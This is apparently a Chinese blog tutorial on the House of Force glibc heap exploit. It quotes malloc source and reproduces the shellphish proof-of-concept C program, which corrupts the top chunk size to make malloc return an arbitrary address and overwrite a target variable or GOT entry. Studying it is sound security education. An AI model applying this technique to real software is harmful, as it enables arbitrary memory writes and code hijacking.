The House of Force

这应该是堆利用里面比较简单的吧

触发条件

1.能覆盖top chunkchunk header
2.攻击者能调用一次可以控制大小的malloc,用来覆盖top chunkchunk header
3.攻击者能调用另一个可以malloc并且能控制其中的内容

利用详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
static void* _int_malloc(mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
mchunkptr victim; /* inspected/selected chunk */
INTERNAL_SIZE_T size; /* its size */
mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */
checked_request2size(bytes, nb);
/*
checked_request2size()函数将需要分配的内存大小 bytes 转换为需要分配的 chunk 大小
nb。
*/
[...]
/*
所有的 bins 中都没有获得所需的 chunk,可能的情况为 bins 中没有空闲 chunk,
或者所需的 chunk 大小很大,则会尝试从 top chunk 中分配所需 chunk。源代码实现如
下:*/
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).
We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhuasted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/
victim = av->top;
size = chunksize(victim);
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder; //剩余部分作为新的top chunk
set_head(victim, nb | PREV_INUSE | (av!=&main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
if (__builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
[...]
}

通过覆盖top chunksize字段,然后malloc,进而重写av->top的值,这样就可以控制malloc返回的地址(栈,got表,dtors等 ),达到任意地址写的目的。在把top chunksize字段覆盖为FFFFFFFF后,无论申请的内存有多大,都能满足if,进入执行,在malloc申请时通过精心构造一个数值,改写av->top的值为got表的地址(got_addr-8),那么再一次调用malloc返回的便是某个got的地址,可以通过写入来修改got

实例分析

通过shellphish的例子简单了解下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
printf("\nWelcome to the House of Force\n\n");
printf("The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
printf("The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");
printf("\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
printf("Its current value is: %s\n", bss_var);
printf("\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
printf("The chunk of 256 bytes has been allocated at %p.\n", p1);
printf("\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
printf("Real size (aligned and all that jazz) of our allocated chunk is %d.\n", real_size);
printf("\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
printf("\nThe top chunk starts at %p\n", ptr_top);
printf("\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
printf("Old size of top chunk %#llx\n", *((unsigned long long int *)ptr_top));
ptr_top[0] = -1;
printf("New size of top chunk %#llx\n", *((unsigned long long int *)ptr_top));
//------------------------
printf("\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
printf("\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
printf("As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
void* ctr_chunk = malloc(100);
printf("\nNow, the next chunk we overwrite will point at our target buffer.\n");
printf("malloc(100) => %p!\n", ctr_chunk);
printf("Now, we can finally overwrite that value:\n");
printf("... old string: %s\n", bss_var);
printf("... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
printf("... new string: %s\n", bss_var);
// some further discussion:
//printf("This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//printf("This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//printf("In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//printf("The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//printf("After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//printf("The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//printf("This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 触发条件
  2. 2. 利用详解
  3. 3. 实例分析
,